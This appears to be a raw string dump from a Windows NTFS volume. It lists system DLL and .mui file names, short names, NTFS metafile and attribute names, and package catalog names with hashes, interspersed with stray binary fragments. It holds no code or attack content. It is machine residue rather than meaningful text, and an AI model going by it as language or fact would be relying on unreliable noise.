wow64.dll wow64.dll WofCompressedData $DSC WOW64B~1.DLL wow64base.dll $DSC $DSC WOW64B~1.DLL wow64base.dll wow64base.dll WofCompressedData $DSC $DSC WOW64B~1.DLL wow64base.dll WofCompressedData $DSC wow64con.dll wow64con.dll WofCompressedData $DSC $DSC wow64con.dll $DSC $DSC wow64cpu.dll WofCompressedData $DSC wow64cpu.dll wow64cpu.dll WofCompressedData $DSC wow64cpu.dll $DSC $DSC wow64win.dll wow64win.dll WofCompressedData $DSC windows.immersiveshell.serviceprovider.dll *windows.immersiveshell.serviceprovider.dll WofCompressedData $DSC Wpc.dll WofCompressedData $DSC Wpc.dll0 Wpc.dll WofCompressedData $DSC Wpc.dll0 Wpc.dll WofCompressedData $DSC Wpc.dll WofCompressedData $DSC WpcApi.dll $DSC WpcApi.dll WpcApi.dll WofCompressedData $DSC Windows.Management.Update.dll Windows.Management.Update.dll WofCompressedData $DSC Windows.Management.Update.dll Windows.Management.Update.dll WofCompressedData $DSC Windows.Management.Workplace.dll Windows.Management.Workplace.dll WofCompressedData $DSC Windows.Management.Workplace.dll Windows.Management.Workplace.dll WofCompressedData $DSC GetFileInfoActionAllowedList.dat GETFIL~2.DAT GetFileInfoActionAllowedList.dat $DSC icudtl.dat icudtl.dat WofCompressedData $DSC icudtl.dat WofCompressedData $DSC MSTTSL~1.DAT MSTTSLocEnUS.dat MSTTSLocEnUS.dat WofCompressedData $DSC advapi32.dll advapi32.dll WofCompressedData $DSC $DSC ADVAPI~1.DLL advapi32res.dll $DSC ADVAPI~1.DLL advapi32res.dll0 advapi32res.dll WofCompressedData $DSC ADVAPI~1.DLL advapi32res.dll $DSC ADVAPI~1.DLL advapi32res.dll0 advapi32res.dll $DSC advpack.dll $DSC $DSC advpack.dll0 advpack.dll WofCompressedData $DSC aepic.dll aepic.dll WofCompressedData $DSC prntvpt.dll WofCompressedData $DSC PRODUC~1.DLL ProductEnumerator.dll $DSC PRODUC~1.DLL ProductEnumerator.dll ProductEnumerator.dll WofCompressedData $DSC $DSC profapi.dll0 profapi.dll WofCompressedData $DSC $DSC PROFSV~1.DLL profsvcext.dll $DSC PROJEC~1.DLL ProjectedFSLib.dll $DSC $DSC PROJEC~1.DLL ProjectedFSLib.dll $DSC propsys.dll0 propsys.dll WofCompressedData $DSC PS5UI.DLL PS5UI.DLL WofCompressedData $DSC PS5UI.DLL WofCompressedData $DSC PS5UI.DLL PS5UI.DLL WofCompressedData $DSC psapi.dll psapi.dll WofCompressedData $DSC $DSC PSEvents.dll WofCompressedData $DSC PSEvents.dll $DSC PSEvents.dll PSEvents.dll WofCompressedData $DSC PSHED.DLL PSHED.DLL WofCompressedData $DSC 64b45 4b-b0 a2-b0a dc1e9 -3cdc- boot. stl.{9 Fonts Resou rces BCD.L BCD.L MICROS~1.DLL MicrosoftAccountTokenProvider.dll $DSC $DSC WofCompressedData $DSC MICROS~1.DLL WofCompressedData $DSC MICROS~1.DLL $DSC MICROS~1.DLL MicrosoftAccountWAMExtension.dll WofCompressedData $DSC mlang.dll $DSC $DSC mlang.dll WofCompressedData $DSC mlang.dll mlang.dll WofCompressedData $DSC MmcAspExt.dll MMCASP~1.DLL MmcAspExt.dll WofCompressedData $DSC USERDE~1.WIN userdeviceregistration.ngc.winmd WofCompressedData OOBEWV~1.DLL OobeWv2Host.dll WofCompressedData Logo.png Logo.png.DATA Logo.png Logo.png Logo.png Logo.png.DATA LogoBeta.png LogoBeta.png.DATA LogoBeta.png LogoBeta.png LogoBeta.png LogoBeta.png.DATA LOGOCA~1.PNG LogoCanary.png LogoCanary.png.DATA LogoCanary.png LOGOCO~1.PNG LogoCopilot.png0 LogoCopilot.png.DATA LogoCopilot.png LOGOCO~2.PNG LogoCopilotDev.png LogoCopilotDev.png.DATA LogoCopilotDev.png LogoDev.png0 LogoDev.png.DATA LogoDev.png0 LogoDev.png0 LogoDev.png0 LogoDev.png.DATA RESOUR~1.PRI resources.pri resources.pri.DATA resources.pri SMALLL~1.PNG SmallLogo.png SmallLogo.png.DATA SmallLogo.png SMALLL~2.PNG SmallLogoBeta.png SmallLogoBeta.png.DATA SmallLogoBeta.png MSOOBE~1.DLL msoobeplugins.dll WofCompressedData SMALLL~3.PNG SmallLogoCanary.png0 SmallLogoCanary.png.DATA SmallLogoCanary.png vk_swiftshader_icd.json0 vk_swiftshader_icd.json0 VK_SWI~1.JSO vk_swiftshader_icd.json $DSC SMALLL~4.PNG SmallLogoCopilot.png SmallLogoCopilot.png SmallLogoCopilot.png.DATA SM7292~1.PNG SmallLogoCopilotDev.png0 SmallLogoCopilotDev.png0 SmallLogoCopilotDev.png.DATA SM08B2~1.PNG SmallLogoDev.png SmallLogoDev.png.DATA SmallLogoDev.png vk_swiftshader.dll vk_swiftshader.dll vk_swiftshader_icd.json0 vk_swiftshader_icd.json0 vk_swiftshader_icd.json.DATA vulkan-1.dll vulkan-1.dll vulkan-1.dll vulkan-1.dll wdag.dll wdag.dll wdag.dll wdag.dll webview2_integration.dll webview2_integration.dll MANIFE~1.JSO manifest.json manifest.json.DATA manifest.json.DATA WIDEVI~1.DLL widevinecdm.dll0 widevinecdm.dll WIDEVI~1.SIG widevinecdm.dll.sig0 widevinecdm.dll.sig.DATA widevinecdm.dll.sig.DATA wns_push_client.dll0 wns_push_client.dll CLOUDE~1.DLL CloudExperienceHostCommon.dll WofCompressedData msedge_7z.data msedge_7z.data msedge_7z.data msedge_7z.data msedge_7z.data GUIDED~1.WIN GuidedSetup.winmd setup.exe setup.exe setup.exe setup.exe CLOUDE~1.DLL CloudExperienceHost.dll WofCompressedData 145038~1.700 145.0.3800.70 $I300 $I30 $I30? learning_tools.dll msedge_200_percent.pak $I30 $I30 AAD.Core.dll AAD.Core.dll AADCOR~1.DLL WofCompressedData $DSC $DSC AAD.Core.dll AADCOR~1.DLL WofCompressedData $DSC AADAUT~1.DLL aadauthhelper.dll $DSC $DSC AADAUT~1.DLL aadauthhelper.dll aadauthhelper.dll WofCompressedData $DSC aadtb.dll aadtb.dll WofCompressedData $DSC aadtb.dll WofCompressedData $DSC AADWAM~1.DLL aadWamExtension.dll $DSC $DSC AADWAM~1.DLL aadWamExtension.dll0 aadWamExtension.dll WofCompressedData $DSC $DSC $I30 $I30 (0X0 (8`8 (8`8 (8`8 $I30 $I30 $I30 (0X0 (3`3 (@h@ (@h@ (8`8 (0X0 $I30 $I30 (@h@ (8`8 $I30 $I30 (0X0 (3`3 (@h@ (@h@ $Deleted $Deleted $I300 $Deleted $I300 $Deleted $I300 $I30 $I30 $Info $Quota $Quota $Secure $Secure (Hp0 YMicrosoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat YMicrosoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 6D586E~1.CAT 6d586e6b3c024d2030f5b7c2b3a91b48d97f6bb3d30a47317de32a9884ba7de6.cat WofCompressedData $DSC UMicrosoft-Windows-msmq-multicast-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat UMicrosoft-Windows-msmq-multicast-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat $DSC 6D64C8~1.CAT 6d64c8ed313343acc1727c221019f5ea0014203a61e8556a153065818a1505e6.cat WofCompressedData $DSC 72D2BD~1.CAT 72d2bdc02183587ba996b12b11740495d908de6a61f6980b1511be56298f6e05.cat WofCompressedData $DSC \Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 72D9DD~1.CAT 72d9dd928aa27c447aeb32f09b52ffa89ff75ef025e3e5c5431563a893f516ed.cat WofCompressedData $DSC bMicrosoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat bMicrosoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat 7412D0~1.CAT 7412d05c268fb62b163639b3346aadaa8e1e0aa6ffbb9fd1fc37d156f66414a3.cat WofCompressedData $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat fMicrosoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat 741F66~1.CAT 741f66fc0ab293975ef34e19505d6620fabcfd9686335196f240cfd4d53ef06c.cat $DSC cMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0 cMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat WofCompressedData $DSC ?Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat0 ?Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat $DSC 7645D2~1.CAT 7645d211b36885dbe56b3efc9496bec4357cd2f76bad0e68f7fd796deddd406a.cat WofCompressedData $DSC WofCompressedData $DSC SMicrosoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 SMicrosoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 766511~1.CAT 766511e553a598b667a4cb4157339e574701c79a298f81255393edf4a454f634.cat WofCompressedData $DSC aMicrosoft-OneCore-Graphics-DirectX-Core-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat aMicrosoft-OneCore-Graphics-DirectX-Core-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 77FA77~1.CAT 77fa7777284dd21c6663e9fbdcf4f3f8cf6851367292555b9d007cd8cc19dcf4.cat WofCompressedData $DSC TMicrosoft-OneCore-EventLog-Api-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat TMicrosoft-OneCore-EventLog-Api-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat $DSC 78199A~1.CAT 78199a78810ad1341b039bb271b34bff14003c4f7eb24b7123e6b1ee205c16b7.cat WofCompressedData $DSC WofCompressedData $DSC SMicrosoft-Windows-WinOcr-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat0 SMicrosoft-Windows-WinOcr-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat 786394~1.CAT 786394a35dbb9b87faaff75767b4bbe8e27ca233628b003b961586bac27f21ee.cat WofCompressedData $DSC dMicrosoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat dMicrosoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat 7888D7~1.CAT 7888d7cc0d4c4a3df3675b2ebfc984aa572d35e38e7599653953067e5098eace.cat WofCompressedData $DSC sMicrosoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 sMicrosoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 7AA061~1.CAT 7aa061de9de48ddd8004cb5979a5bcdc6ebfc99d7d913f05e585777e3646d90f.cat WofCompressedData $DSC hMicrosoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat hMicrosoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat 7ABCDA~1.CAT 7abcda24853d0ba0a9390db09e0ea1eabf3a951f56569fe69b7ef7227a2cc100.cat WofCompressedData $DSC [Windows-Defender-ApplicationGuard-Inbox-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 [Windows-Defender-ApplicationGuard-Inbox-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 7B33A6~1.CAT 7b33a684fcc8d79e4d05b9371c6ab38132b92b945b3707b70eb2a61a576b506f.cat $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat fMicrosoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat 7B3B11~1.CAT 7b3b114aee0e6c1a3012b166637e7d89d2d9074125325c6f5ab7c4add3a77e25.cat WofCompressedData $DSC $AttrDef $I300 $I30 $I30 $TXF_DATA $Bitmap $Boot $BadClus $Bad $Bad $Secure $SDS $SDH $SII $SDH $SII $SDH $SII $SDH $SDH $UpCase $Info $Info $Extend $I300 $Deleted $ObjId $Quota $Reparse $RmMetadata $RmMetadata ReAgent.xml SrSettings.ini System Volume Information $I300 AadRecoveryPasswordDeleteat, ClientRecoveryPasswordRotation FveDecryptedVolumeFolder tracking.log.tm tracking.log F5F581~1.CAT f5f58192fdd73dcc0ab6702bc57a889e428c2911ff92cb9237df53016b9df751.cat WofCompressedData $DSC JMultimedia-MFCore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat Multimedia-MFCore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat MU5B57~1.CAT WofCompressedData F66107~1.CAT f66107c97185adcfde9313e3475f3376a76a5eb7e9769348589c9e07430772c8.cat WofCompressedData $DSC JMultimedia-MFCore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat MUD6E6~1.CAT Multimedia-MFCore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat WofCompressedData ntprint.cat WofCompressedData F88ADD~1.CAT f88add355daab2e7abf03da81a175164cd4825318fb1967ee07f9ad4e7bc1cbb.cat WofCompressedData $DSC ntprint.cat $DSC $DSC F88CB8~1.CAT f88cb8cd6a06943cadd12a3bbebde28e6fb5b38452983cffb44be9f697886943.cat WofCompressedData $DSC ntprint4.cat ntprint4.cat WofCompressedData $DSC ntprint4.cat WofCompressedData F8CD67~1.CAT f8cd67fd606eb48540fd476c659ab76debcf11020b08d0963e32d9be4abaf597.cat WofCompressedData $DSC ntprint4.cat $DSC $DSC FE6D72~1.CAT fe6d722d1f92e0ee626c9b23379b2fa8822c6b996a59b41610906fad1da59d08.cat WofCompressedData $DSC prnms012.cat $DSC $DSC prnms014.cat WofCompressedData $DSC FEB613~1.CAT feb6135d5fc4ff5584fbaab1628658b39e2e1f481dcbaebcee40c5249c70df8c.cat WofCompressedData $DSC $AttrDef $BadClus $Bitmap $Boot $Extend $LogFile $MFT $MFTMirr $Secure $UpCase $Volume Recovery System Volume Information Windows.Perception.Stub.dll.mui0 WINDOW~1.MUI Windows.Perception.Stub.dll.mui $DSC 0Windows.Security.Authentication.Web.Core.dll.mui WINDOW~1.MUI Windows.Security.Authentication.Web.Core.dll.mui WofCompressedData $DSC ;Windows.Security.Credentials.UI.UserConsentVerifier.dll.mui0 WINDOW~1.MUI Windows.Security.Credentials.UI.UserConsentVerifier.dll.mui WofCompressedData $DSC +Windows.SharedPC.CredentialProvider.dll.mui0 WINDOW~1.MUI Windows.SharedPC.CredentialProvider.dll.mui $DSC Windows.UI.Xaml.Maps.dll.mui WINDOW~1.MUI Windows.UI.Xaml.Maps.dll.mui WofCompressedData $DSC Windows.UI.Xaml.Phone.dll.mui WINDOW~1.MUI Windows.UI.Xaml.Phone.dll.mui WofCompressedData $DSC WINDOW~1.MUI Windows.UI.Xaml.Phone.dll.mui WofCompressedData $DSC Windows.Web.dll.mui0 WINDOW~1.MUI Windows.Web.dll.mui WofCompressedData $DSC WINLGD~1.MUI WinLGDep.dll.mui WinLGDep.dll.mui $DSC WINLOG~1.MUI winlogon.exe.mui WofCompressedData $DSC WofCompressedData $DSC winmsipc.dll.mui WofCompressedData $DSC WINNAT~1.MUI winnat.sys.mui winnat.sys.mui WofCompressedData $DSC WMPNET~1.MUI wmpnetwk.exe.mui wmpnetwk.exe.mui WofCompressedData $DSC wmpnscfg.exe.mui WMPNSC~1.MUI wmpnscfg.exe.mui $DSC PSEVEN~1.MUI PSEvents.dll.mui PSEvents.dll.mui PSEvents.dll.mui WofCompressedData $DSC WofCompressedData $DSC wmpnssci.dll.mui wmpnssci.dll.mui WofCompressedData $DSC .WorkflowServiceHostPerformanceCounters.dll.mui WORKFL~1.MUI WorkflowServiceHostPerformanceCounters.dll.mui WofCompressedData $DSC .WorkflowServiceHostPerformanceCounters.dll.mui WORKFL~1.MUI WorkflowServiceHostPerformanceCounters.dll.mui WofCompressedData $DSC WorkfoldersControl.dll.mui WORKFO~1.MUI WorkfoldersControl.dll.mui WofCompressedData $DSC WORKFO~1.MUI WorkFoldersGPExt.dll.mui WorkFoldersGPExt.dll.mui $DSC msrepl40.dll WofCompressedData $DSC msrepl40.dll msrepl40.dll WofCompressedData $DSC msrepl40.dll $DSC $DSC msrle32.dll0 msrle32.dll WofCompressedData $DSC WofCompressedData $DSC MSSPEL~1.DLL MSSPEL~1.DLL MsSpellCheckingFacility.dll WofCompressedData $DSC MSSPEL~1.DLL MsSpellCheckingFacility.dll WofCompressedData $DSC MicrosoftAccountWAMExtension.dll MicrosoftAccountWAMExtension.dll WofCompressedData $DSC mssprxy.dll0 mssprxy.dll WofCompressedData $DSC $DSC mssprxy.dll $DSC $DSC mssprxy.dll0 mssprxy.dll WofCompressedData $DSC mssprxy.dll $DSC $DSC pnppolicy.dll.muipr> profext.dll.mui? puiobj.dll.muiu racpldlg.dll.mui rastls.dll.muiuA reagentc.exe.mui "RemoveDeviceContextHandler.dll.mui rpcrt4.dll.muiuC SCardDlg.dll.mui sdengin2.dll.mui sendmail.dll.mui setspn.exe.muiuG .SettingsHandlers_OneCore_PowerAndSleep.dll.mui shell32.dll.muiI smartscreen.exe.mui spaceutil.exe.mui srrstr.dll.muiiK subst.exe.muiuiL sysmain.dll.mui "SystemSettingsRemoveDevice.exe.mui taskschd.msc.muN themeui.dll.muiO TrustedSignalCredProv.dll.mui typeperf.exe.mui unimdmat.dll.mui usermgr.dll.muiR verifier.exe.mui webio.dll.muiuiS wevtsvc.dll.mui 'Windows.UI.CredDialogController.dll.muiU sdiageng.dll.mui sdiagnhost.exe.mui sdiagprv.dll.mui sdiagschd.dll.mui sdohlp.dll.muii sdrsvc.dll.muii sdshext.dll.mui $Search.ProtocolHandler.MAPI2.dll.mui searchfolder.dll.muib SearchIndexer.exe.mui secedit.exe.mui sechost.dll.mui seclogon.dll.mui secpol.msca SecurityHealthAgent.dll.mui securityhealthsso.dll.mui semgrsvc.dll.mui sens.dll.mui.mu sensordataservice.exe.mui SensorPerformanceEvents.dll.mui SensorsApi.dll.mui SensorsCpl.dll.mui SensorService.dll.mui SensorsUtilsV2.dll.mui sensrsvc.dll.mui serialui.dll.mui services.exe.mui services.msc.mu serwvdrv.dll.mui sessenv.dll.mui setupapi.dll.mui sfc.exe.mui SHCore.dll.muiu spoolsv.exe.mui spoolsvworker.exe.mui spp.dll.mui sppc.dll.mui.mu sppcext.dll.mui sppcomapi.dll.mui sppcommdlg.dll.mui sppnp.dll.muimu sppsvc.exe.muiu spwizres.dll.mui sqlsrv32.rll.mui srchadmin.dll.mui srcore.dll.muii SrEvents.dll.mui^ SRH.dll.mui srm.dll.mui srmshell.dll.mui srpapi.dll.muii SrpUxNativeSnapIn.dll.mui srumapi.dll.mui srumsvc.dll.mui srvsvc.dll.muii sscore.dll.muii ssdpsrv.dll.mui ssText3d.scr.mui sstpsvc.dll.mui StartTileData.dll.mui Startupscan.dll.mui sti.dll.mui sti_ci.dll.muiu stobject.dll.mui StorageContextHandler.dll.mui storagewmi.dll.mui Storprop.dll.mui tzautoupdate.dll.muir tzres.dll.muiui tzsyncres.dll.muidl tzutil.exe.muir ubpm.dll.muiCor uDWM.dll.muiCor UevAgentDriver.sys.muiu UIAutomationCore.dll.mui uicom.dll.muiui uireng.dll.muii UIRibbon.dll.mui ulib.dll.muimui umpnpmgr.dll.mui umpo.dll.muimui umpoext.dll.mui umrdp.dll.muimu unimdm.tsp.muiu unimdmat.dll.mui Unistore.dll.mui unlodctr.exe.mui unregmp2.exe.mui UpdatePolicy.dll.mui^ UpgradeResultsUI.exe.mui upnp.dll.muiuii upnphost.dll.mui urlmon.dll.muii usbceip.dll.mui user32.dll.muii UserDeviceRegistration.dll.mui "UserDeviceRegistration.Ngc.dll.mui userenv.dll.mui userinit.exe.mui userinitext.dll.mui WiFiNetworkManager.dll.mui WiFiTask.exe.mui wimgapi.dll.mui win32kbase.sys.mui win32spl.dll.muid.d Win32_DeviceGuard.dll.mui winbio.dll.mui WinBioDataModel.dll.mui winbioext.dll.mui wincredui.dll.mui windiag.dll.mui -windows.applicationmodel.datatransfer.dll.mui Windows.ApplicationModel.dll.muimui &Windows.ApplicationModel.Store.dll.mui 7Windows.ApplicationModel.Store.TestingFramework.dll.mui Windows.CloudStore.dll.muin *Windows.CloudStore.EarlyDownloader.dll.mui .Windows.CloudStore.Schema.DesktopShell.dll.mui Windows.Data.Activities.dll.mui Windows.Data.Pdf.dll.muimon "Windows.Devices.Background.dll.muii !Windows.Devices.Bluetooth.dll.muiui Windows.Devices.Custom.dll.muil Windows.Devices.Lights.dll.muil Windows.Devices.LowLevel.dll.muimui Windows.Devices.Picker.dll.muil #Windows.FileExplorer.Common.dll.mui windows.storage.dll.mui srrstr.dll.muiiK subst.exe.muiuiL sysmain.dll.mui "SystemSettingsRemoveDevice.exe.mui taskschd.msc.muN themeui.dll.muiO TrustedSignalCredProv.dll.mui typeperf.exe.mui unimdmat.dll.mui usermgr.dll.muiR verifier.exe.mui webio.dll.muiuiS wevtsvc.dll.mui WiFiDisplay.dll.muiT 7Windows.ApplicationModel.Store.TestingFramework.dll.muiU "Windows.Devices.SmartCards.dll.muiiX $Windows.Internal.ShellCommon.dll.mui 9Windows.Networking.Sockets.PushEnabledApplication.dll.mui 'Windows.UI.CredDialogController.dll.mui[ winethc.dll.mui winsrvext.dll.mui wlanui.dll.muiu\ WMVDECOD.dll.mui wpncore.dll.mui_ wship6.dll.mui wvc.dll.muia dhcpcore6.dll.mui LogonController.dll.mui2 phoneactivate.exe.mui spaceutil.exe.mui cryptext.dll.mui CryptNgc.dll.mui cryptsvc.dll.mui cryptui.dll.mui cryptuiwizard.dll.mui cryptxml.dll.mui cscmig.dll.mui cscobj.dll.muii cscript.exe.mui cscsvc.dll.mui cscui.dll.mui CSRR.rs.mui csrsrv.dll.muim csrss.exe.mui.m ctfmon.exe.muim cttune.exe.muim cttunesvr.exe.mui CustomInstallExec.exe.mui cxcredprov.dll.mui dab.dll.mui dabapi.dll.muim DafGip.dll.muid dafpos.dll.muid DafPrintProvider.dll.muib datadict.0409.dat datamap.0409.dati defragsvc.dll.mui devicengccredprov.dll.mui DeviceUpdateAgent.dll.mui devmgmt.msc DevModeRunAsUserConfig.msc dhcpcmonitor.dll.mui dhcpcore.dll.muii WmiMgmt.msc ActiveSyncCsp.dll.mui AppExtension.dll.mui AppXDeploymentServer.dll.mui autochk.exe.mui bcdboot.exe.mui bootstr.dll.mui cabview.dll.mui certcredprovider.dll.mui chkntfs.exe.mui clusapi.dll.mui combase.dll.mui cryptdlg.dll.mui d2d1.dll.muil.m DDORes.dll.muim# DevicePairing.dll.mui.m$ dhcpcore6.dll.mui diskpart.exe.muii dmusic.dll.muim& dot3svc.dll.mui' dsregtask.dll.mui dxdiagn.dll.mui EcoScoreTask.dll.mui^ expand.exe.muim* fhmanagew.exe.mui fltlib.dll.muim+ ftp.exe.mui, hhctrl.ocx.muim- iasdatastore.dll.muid iertutil.dll.mui| inetres.dll.mui/ ipsecsvc.dll.mui| 'microsoft-windows-system-events.dll.mui !Microsoft.Bluetooth.Audio.dll.mui 'Microsoft.Bluetooth.UserService.dll.mui .Microsoft.Data.UsageAndQualityInsights.dll.mui profext.dll.mui? puiobj.dll.muiu racpldlg.dll.mui rastls.dll.muiuA reagentc.exe.mui "RemoveDeviceContextHandler.dll.mui rpcrt4.dll.muiuC shell32.dll.muiD subst.exe.muiui TrustedSignalCredProv.dll.mui usermgr.dll.mui webio.dll.muiui 'Windows.UI.CredDialogController.dll.mui InfDefaultInstall.exe.mui InkObjCore.dll.mui input.dll.mui InputSwitch.dll.mui InputSwitchToastHandler.exe.mui inseng.dll.muiu InstallService.dll.mui InternetMail.dll.mui InternetMailCsp.dll.mui intl.cpl.mui.mu invagent.dll.mui| InventorySvc.dll.mui iologmsg.dll.mui| ipconfig.exe.mui| iphlpapi.dll.mui| iphlpsvc.dll.mui ipnathlp.dll.mui IPNATHLPCLIENT.dll.mui iprtrmgr.dll.mui ipsecsnp.dll.mui diskpart.exe.muii dmusic.dll.muim& dot3svc.dll.mui' dsregtask.dll.mui dxdiagn.dll.mui EcoScoreTask.dll.mui^ energy.dll.muim* expand.exe.muimc fhmanagew.exe.mui fltlib.dll.muim+ ftp.exe.mui, hhctrl.ocx.muim- iasdatastore.dll.muid iertutil.dll.mui| inetres.dll.mui/ ipsecsvc.dll.mui| KdsCli.dll.mui #LanguageComponentsInstaller.dll.mui1 msports.dll.mui msprivs.dll.mui msra.exe.mui.mu msrahc.dll.muiu mssign32.dll.muiypr MsSpellCheckingFacility.dll.mui mssph.dll.muiie mssrch.dll.muie mssvp.dll.muiie mstask.dll.muie mstsc.exe.muiie mstscax.dll.mui msutb.dll.muiie msv1_0.dll.muie msvfw32.dll.mui msvidc32.dll.mui MSVidCtl.dll.mui MSWMDM.dll.muii mswsock.dll.mui msxml3r.dll.mui msxml6r.dll.mui mtstocom.exe.muiypr MultiDigiMon.exe.mui MusAppUpdateHandlers.dll.mui MusUpdateHandlers1.dll.mui mycomput.dll.muiypr mydocs.dll.muiu Mystify.scr.mui napinsp.dll.mui Narrator.exe.muiypr nbtstat.exe.mui ncpa.cpl.muiove ncrypt.dll.muie ncryptprov.dll.muir mswsock.dll.mui msxml3r.dll.mui msxml6r.dll.mui mtstocom.exe.muiypr MultiDigiMon.exe.mui MusAppUpdateHandlers.dll.mui MusUpdateHandlers1.dll.mui mycomput.dll.muiypr mydocs.dll.muiu Mystify.scr.mui napinsp.dll.mui Narrator.exe.muiypr NaturalAuth.dll.mui nbtstat.exe.mui NcaSvc.dll.muie ncbservice.dll.mui NcdAutoSetup.dll.mui^ NcdProp.dll.mui ncpa.cpl.muiove ncrypt.dll.muie ncryptprov.dll.muir ncsi.dll.mui ntlanui2.dll.mui ntmarta.dll.mui ntprint.dll.mui ntprint.exe.mui ntshrui.dll.mui ntvdm64.dll.mui objsel.dll.muii occache.dll.mui odbcad32.exe.mui odbcconf.exe.mui odbcint.dll.mui offFilt.dll.mui oflc-nz.rs.muie ole32.dll.muive oleaccrc.dll.muiypr oledlg.dll.muie oleprn.dll.muie OneBackupHandler.dll.muii.m OneSettingsClient.dll.mui.m onex.dll.mui.mu onexui.dll.muiu openfiles.exe.muipr OpenWith.exe.muiypr OptionalFeatures.exe.mui osbaseln.dll.muiypr osk.exe.mui p9rdrservice.dll.mui packager.dll.muiypr pairtool.exe.muiypr !PasswordEnrollmentManager.dll.mui #PasswordOnWakeSettingFlyout.exe.mui pathping.exe.muiypr pautoenr.dll.mui ADVAPI~1.MUI advapi32.dll.mui $DSC advapi32.dll.mui ADVAPI~1.MUI advapi32.dll.mui $DSC advapi32res.dll.mui0 ADVAPI~1.MUI advapi32res.dll.mui WofCompressedData $DSC IEAdvpack.dll.mui IEADVP~1.MUI IEAdvpack.dll.mui WofCompressedData $DSC AEROLI~1.MUI aerolite.msstyles.mui $DSC AEROMS~1.MUI aero.msstyles.mui $DSC afd.sys.mui0 AFDSYS~1.MUI afd.sys.mui WofCompressedData $DSC agilevpn.sys.mui AGILEV~1.MUI agilevpn.sys.mui $DSC AUTOFS~1.MUI autofstx.exe.mui $DSC autofstx.exe.mui AUTOFS~1.MUI autofstx.exe.mui WofCompressedData $DSC avrt.dll.mui avrt.dll.mui AVRTDL~1.MUI WofCompressedData $DSC basebrd.dll.mui0 BASEBR~1.MUI basebrd.dll.mui WofCompressedData $DSC wuuhosdeployment.dll WUUHOS~1.DLL wuuhosdeployment.dll WofCompressedData $DSC WUUHOS~1.DLL wuuhosdeployment.dll WofCompressedData $DSC wv2winrt.dll wv2winrt.dll WofCompressedData $DSC fr-CA $I300 strings.json STRING~1.JSO WwanPrfl.dll $DSC $DSC WwanPrfl.dll $DSC $DSC Windows.Storage.ApplicationData.dll0 #Windows.Storage.ApplicationData.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Storage.ApplicationData.dll WofCompressedData $DSC Windows.Storage.Compression.dll0 Windows.Storage.Compression.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Storage.Compression.dll WofCompressedData $DSC Windows.Storage.Search.dll Windows.Storage.Search.dll WofCompressedData $DSC Windows.Storage.Search.dll Windows.Storage.Search.dll WofCompressedData $DSC Windows.System.Diagnostics.dll Windows.System.Diagnostics.dll WofCompressedData $DSC Windows.System.Diagnostics.dll Windows.System.Diagnostics.dll WofCompressedData $DSC Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll @Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll WofCompressedData $DSC Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll @Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll WofCompressedData $DSC Windows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions.dll0 GWindows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions.dll WofCompressedData $DSC Windows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions.dll0 GWindows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions.dll WofCompressedData $DSC Windows.System.Launcher.dll0 Windows.System.Launcher.dll WofCompressedData $DSC Windows.System.Launcher.dll0 Windows.System.Launcher.dll WofCompressedData 